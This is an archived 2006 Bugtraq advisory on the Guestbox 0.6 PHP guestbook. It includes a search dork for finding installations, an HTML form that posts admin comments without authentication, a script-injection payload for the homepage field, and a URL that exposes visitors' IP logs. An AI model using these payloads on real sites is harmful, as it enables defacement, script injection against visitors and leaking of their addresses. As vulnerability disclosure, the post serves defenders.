bugtraq - Guestbox XSS/an admin bypass

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060220112834.24318.qmail@securityfocus.com>
Date: 20 Feb 2006 11:28:34 -0000
From: innate@....de
To: bugtraq@...urityfocus.com
Subject: Guestbox XSS/an admin bypass


author.:	l0om  -  www.excluded.org
product:	guestbox (latest non-BETA) 0.6 
page:		http://spring.realone.ch
dork:		"Login - Guestbox 0.6" inurl:guestbox.php

someone asked me to check the guestbook named "guestbox" and thats
the advisory based on my checks.

1.0 everyone can set admin comments to all entries
--------------------------------------------------
in case of setting an admin comment to some gb entry you normaly have
to log in as admin. as you can see in the sources down you dont need
to be logged in as admin to set an admin comment because the programmer
missed it to check the "$admin" value at this point of the switch case.

simply create the following html document and post comments as admin:

<html>
<body>
	<center>
	<form method="post" action="http://WWW.THEPAGE.COM/gb/action.php?action=comment&nummer=ENTRY_NUMBER">
		<textarea class="auswahl" name="text" cols="30" rows="3"></textarea><br>
		<input type="submit" name="submit" value="comment">
	</form>
	</center>
</body>
</html>


---8<--- source:action.php ---8<---

[...]
INCLUDE "gb_config.php";
INCLUDE "gb_functions.php";
        switch ($_GET['action'])
                {
                case "comment" :

            if (isset($_POST['submit'])) {

//
//	admin check????
//
                edit_entry($gbdaten, $_GET['nummer'], trim(get_entry($gbdaten, $_GET['nummer'])).preg_replace("/(\015\012)|(\015)|(\012)/","<br />",html
entities($_POST['text'])));
[...]
	// like this
                                if ($admin == 1) {
[...]
                <input type=\"submit\" name=\"submit\" value=\"comment\">
                </form></center>";
[...]
                if ($admin == 1) {
                        $datei=fopen("./".$gbdaten,"r");
                        while(feof($datei)==0) {
[...]



2.0  XSS/HTML injection
--------

if you add an entry to the guestbook you can inject javascript code.
there have to be "magic_quotes_gpc" set to "Off" in your php.ini for injection as
it will otherwise qoute out all your GET/POST data...

the sources says:
gbshow.php:
if (preg_match("/http:\/\/.+/i", $data[3])) {
        $homepage="<a href=\"$data[3]\" target=\"_blank\"><img src=\"./home.gif\" border=0 alt=".$data[3]."></a>";
[...]

what can be exploited with the following string in the "hompage" field.:

http://"><script>alert('your mom...');</script>test.de

btw: there are a few other ways to inject code to the gb.

if "magic_quotes_pgc" is set to "On" you still can INJECT HTML of course.


3.0 view IPs
------------

for normal its an admin feature to view the ip address of the host which have added the 
entry to the guestbook. simply view the guestbook with all data for all entrys with opening
the "<url>/gb/gblog" does the trick for everyone as well.


have phun,
l0om